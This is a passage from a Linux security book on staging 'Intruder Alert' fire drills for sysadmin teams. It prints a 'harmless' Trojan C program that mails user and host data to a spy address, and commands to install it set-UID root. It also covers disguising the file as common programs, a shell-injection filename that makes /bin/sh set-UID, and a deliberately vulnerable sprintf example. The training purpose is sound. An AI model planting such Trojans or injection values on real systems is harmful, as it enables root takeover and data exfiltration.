Section 14.4 Fire Drills

---

14.4 Fire Drills

Fire drills are a recommended procedure to give your people practice with dealing with a security breach. Like anything else, practicing dealing with security breaches makes people better at it. Pilots, fire fighters, and surgeons all need to practice their crafts frequently to be at their best.

It is highly recommended that you document procedures initially and update them based on additional experience. I consider staging a variety of breaches by one person and having the rest of the team deal with it. By one person I mean that for any given exercise only a single person has knowledge of it. Different people should take turns staging the breach.

I first discuss how another industry conducts their fire drills based on many decades of experience. I then consider how to conduct an "Intruder Alert" fire drill. Things considered include how to set someone up, what things to test for, how to safely add security holes for testing, and how to avoid management thinking that you actually are adding Trojan horses to the system for nefarious purposes.

14.4.1 A Plane Has Crash Landed

Every so often you hear how an airliner had to make an emergency landing. Perhaps the landing gear would not extend for landing and the airport fire department had to cover the runway with foam to reduce the likelihood of sparks generated by the metal scraping down the runway causing a fire. Perhaps an engine had caught fire and the pilots had to shut it down and put out the fire. In these and other emergencies, the flight attendants had to open the doors on the runway, activate the slides, and get the passengers to exit quickly. Even though these are once-in-a-lifetime events for these professionals, they almost always do it correctly.

Did they really remember this stuff from school years ago? Do they read a book on procedures once in a while? NO! All of these professionals are required by the U.S. Federal Aviation Administration (FAA) to practice these procedures under realistic conditions periodically. Airline pilots are required to undergo recurrent training every six months covering every imaginable emergency, including multiple emergencies occurring simultaneously. They use a full motion simulator, typically costing on the high side of $10 million. Thanks to Delta Airlines, I personally can assure you that the ride is absolutely realistic! If I did not know that the mechanics were incapable of it, I would have sworn that we actually did a loop.

One of the requirements for an airport to accept airliners is that it must conduct a full-scale emergency drill every three years. A hundred or so volunteers will be prepared to be crash "victims." Makeup artists from the FAA will prepare them to have various injuries and each will be instructed as to what his or her injuries are and how to act as a result. Each of them will be placed in position inside or, in some cases, outside of the "crashed aircraft." When I volunteered for this, I had some metallic shrapnel sticking out of me in several places, more than a little "blood" (I was warned not to wear nice clothes), and was "semi-conscious" outside the aircraft.

The fire department set up triage, classified victims by severity of injury, and those with severe injuries actually were transported by ambulance or even medevac helicopter to area hospitals for treatment. I rather enjoyed the ride in the ambulance through crowded city streets at high speed with the siren going (without having to suffer a real injury). The doctors in the emergency rooms got practice diagnosing realistic injuries. The crew that examined me found it useful because they missed one of the pieces of "shrapnel" because they stopped looking after the first one. Clearly they had no military training. The FAA had observers rating the exercise. A failing grade would have required more training and practice or no more airliners.

The point of this detailed description is to show the level of practice required to maintain proficiency during an emergency. It takes a lot of work. It requires lots of planning in advance of the drill itself. This planning must consider that processing of real data and customers usually occurs simultaneously with the drill. (In the case of the airport drill, everyone was aware it was a drill, so that if there had been an actual plane crash or if an ambulance with an actual victim of, say, a car wreck showed up at one of the hospitals, they would have preempted the drill.)

14.4.2 This Is Only a Test!

An "Intruder Alert" exercise is hard to distinguish from an attempt to plant a real Trojan horse for nefarious purposes. For this reason, it is very strongly recommended that before conducting this test at least trusted two SysAdmins be in on it and they each have written permission from management to conduct this test. This written permission should explain how the test will be conducted and why. Referencing this book is suggested, because most people think that if it is in print, it must be true. (As a published author for more than 15 years, I know better.)

The management of whatever systems are involved also should, quite literally, sign off for the tests. If it will involve order entry, that manager should approve. If you can justify experimenting with financial systems, get permission from the chief financial officer.

14.4.3 Test Dangers and Precautions

Weigh the risks of conducting the tests versus the increased preparedness that the tests provide and the bugs in recovery procedures that will get fleshed out.

Please keep in mind that one of the reasons the airlines use a flight simulator for much of the training is that many of the exercises are too dangerous to do in a real plane!

Use a system with fake data, if possible, to avoid damaging real data or operations when this makes sense and is feasible. Carefully ensure that fake data and real data cannot be accidentally confused. You do not want to ship 100,000 Trojans to the White House accidentally.

14.4.4 Planning What to Drill On

Spend some time considering the types of likely intrusion attempts (or successes) that you might expect and make a list. Skimming the Table of Contents and the Index (especially for the word vulnerability) of this book might supply some ideas. Consider intrusions by both outside sources and dishonest employees. It is a sad fact that about half of all intrusions are caused by employees, contractors, or vendors at your own company or agency; sometimes these people do not intend to cause harm.

If you allow telnet access to your site from the Internet (unless you use TCP Wrappers to restrict it to known secure systems with no possibility of passwords being sniffed), one drill would be to assume Crazy Cracker (played by Sam the SysAdmin) has cracked the root password. Sam should pick one of a number of disruptions based on knowing the root password.

He may deface your Web page. A safe way to test this would be to create some dummy pages that are not linked to the real pages that he might alter. An alternative would be for him to make harmless changes to some of the real pages, perhaps adding a hypertext link to a bogus department, or in a list of items he could add an additional one. Because defacing Web pages is particularly popular, this definitely should be tested for.

Also see "Detecting Defaced Web Pages Automatically" on page 661.

14.4.5 Test Systems

Depending on your setup, you might want to have a test system (or set of test systems) to use for the fire drills so that you do not endanger the production systems. It is easy to accidentally create an actual vulnerability that a real cracker finds and takes advantage of during the test. The other SysAdmins might even think that it is part of the test and handle the situation differently than if they knew that it was an actual intrusion.

The test system should be configured similarly to the production systems but probably will not need to be as powerful or as expensive. It should have a similar configuration, of course. You might want to have different passwords. You might want it isolated from the Internet, depending on the type of fire drills being conducted.

We named our test system redshirt after the red-shirted security guards on "Star Trek" (The Original Series) that typically got killed each week.

14.4.6 Safe Trojan Horses

A cracker could modify CGI scripts to e-mail order details, such as credit card numbers, somewhere. You are legally obligated not to risk actual customer credit card numbers so he might want to send out random numbers instead of the actual numbers unless you use some agreed upon-number with the permission of the cardholder, such as your own, in which case this number would be e-mailed somewhere. This would allow you to test for this by scanning the network for this number showing up on unexpected port numbers or in unexpected files.

In other words, when a real customer places an order, the Sam-modified CGI script (or C, Perl, or Java program) would send out a dummy credit card number but if you use your special credit card number for testing, the script would send out this real credit card number. The intent here is that you would inject data (a known credit card number) and then watch to see if this data ends up in places other than where it should, such as to a port on a cracker's system.

He could plant Trojan horses such as set-UID to root programs. The following C program could be used for this because it is harmless, but proves that a Trojan was planted that could have been malicious.

 /*  * Copyright 2001 Bob Toxen.  All Rights Reserved.  *  * Purchasers of the book "Real World Linux Security:  * Intrusion Prevention, Detection, and Recovery" may copy this  * script as needed to install and use on any system that they  * administer.  Others may not copy or use it without obtaining  * specific written permission by contacting the author at  * [e-mail].  *  * Offered as is with no warranty of any kind.  *  * trojan: a harmless Trojan horse for conducting  * Intrusion Fire Drills.  */ #include <stdio.h> #include <unistd.h> #define SPY        "[e-mail]" main(int argc, char **argv) {          FILE    *fp;          char    *tty;          tty = ttyname(2);          if (!tty)                    tty = "NULL";          printf(            "This harmless Trojan horse is running as"            " UID=%d tty=%s prog=%s\n",            geteuid(), tty, argv[0]);                    /* On some systems /bin/mailx is correct. */          fp = popen(            "(/bin/cat;/usr/bin/who;/bin/pwd;/bin/hostname)"              "|/usr/bin/Mail -s Trojan " SPY,            "w");          fprintf(fp, "Trojan='%s'\n", argv[0]);          fprintf(fp, "tty='%s'\n", tty);          pclose(fp);          exit(0); } 

Store this program in trojan.c and then issue the following commands as root:

 make trojan chown root trojan chmod 4755 trojan ./trojan 

This Trojan could be planted (copied to) various places in a game of hide and seek. It could be stored in a file with a leading "." or with a name of "..." in some obscure directory. It could be stored where a normally set-UID program such as /usr/bin/chfn used to be. It has the advantage of not only simply existing as an exercise for the cats (chasers) to find but if the mouse actually can get the cats to invoke it, the mouse is notified via e-mail, including which one of possibly several Trojans was invoked.

Sam might plant it (without it even being set-UID and not even owned by root) in directories where root might be, such as the home directories of the SysAdmins, /tmp, ~root, /, and /etc with the name of common programs such as date, pwd, who, vi, emacs, or ls. (Root never should have "." in the $PATH search path for this reason.) If Sam can trick the other SysAdmins into invoking this program, he has found a way for an ordinary user to take over the system. (This actually exceeds the intent of a fire drill and gets into the realm of a Tiger team but that is fine.)

14.4.7 Size Is Important

Sam could change the size of this program to prevent cheating by the other SysAdmins simply using find to find all occurrences of a file with exactly the size of this compiled program, via

 dd bs=dif_in_size_from_orig_ls count=1 if=/dev/zero >> trojan cp trojan /tmp/ls 

Remember that the SysAdmin who unintentionally invokes it is caught as soon as it is invoked. It is irrelevant for this exercise for her to recognize that the program output the message "This harmless..." rather than the real information, because an actual Trojan horse would do its work silently and then do an exec() of the intended program to be invisible. You could modify this sample Trojan to have that behavior too, but be careful to remove it when the exercise is done!

It is very carefully designed so that a cracker could not use it to really crack your system, say, by renaming it to a file of the name

 foo;chmod 4755 /bin/sh; 

If you had instead coded it to tell how it was invoked by using the sequence

 char    buf[200]; sprintf(buf, "(echo %s;/usr/bin/who;pwd;hostname)"   "|/bin/Mail -s Trojan " SPY, argv[0]); /* WRONG! */ ... 

the rename to the above name would be an exploit by causing the shell to become set-UID to root. It also would open up a buffer overflow exploit. I do recommend that the previously discussed "harmless" Trojan be allowed to remain on the system only a short time for extra paranoia.

At some shops, "file restore and system restore fire drills" are conducted occasionally to ensure that the backups are valid, the tape drives work, the backup tapes are properly labeled and filed, and the SysAdmins understand the procedure. Sometimes only a file or two are restored, and sometimes an entire database, partition, or entire system will be restored from scratch.

An Intruder Alert Fire Drill follows the same philosophy.

14.4.8 Cause More Trouble

You might want to have Sam start altering sales orders, employee records, software source under development, or similar types of mischief that a malicious cracker might do. The challenge is to detect the damage and correct it by restoring uncorrupted data without losing all changes since the last backup (if possible).

Part of the learning that should take place is learning to decide tradeoffs between simply restoring the entire system from backup versus trying to recover some of the new data since the last backup. Sam should sometimes make some alterations before an upcoming backup and then make other alterations after the backup with these later alterations being dramatic enough to cause the other SysAdmins to notice that something is not right.

This will generate experience in having to go back to other than the most recent backup and also possibly merging incremental backups. Almost any cracker knows to set the modification and access time-stamps of altered files back to what they were before. Sam might even reset the create time by altering the disk device directly with debugfs or a custom program.

Sam may decide that one of the order entry clerks has a guessable password and work entirely from this security hole. He may make bogus purchases or alter or delete real ones. Naturally, if he is working with real data he will need to carefully log his alterations and be sure to set them back before the actual orders were due to ship.

---

Top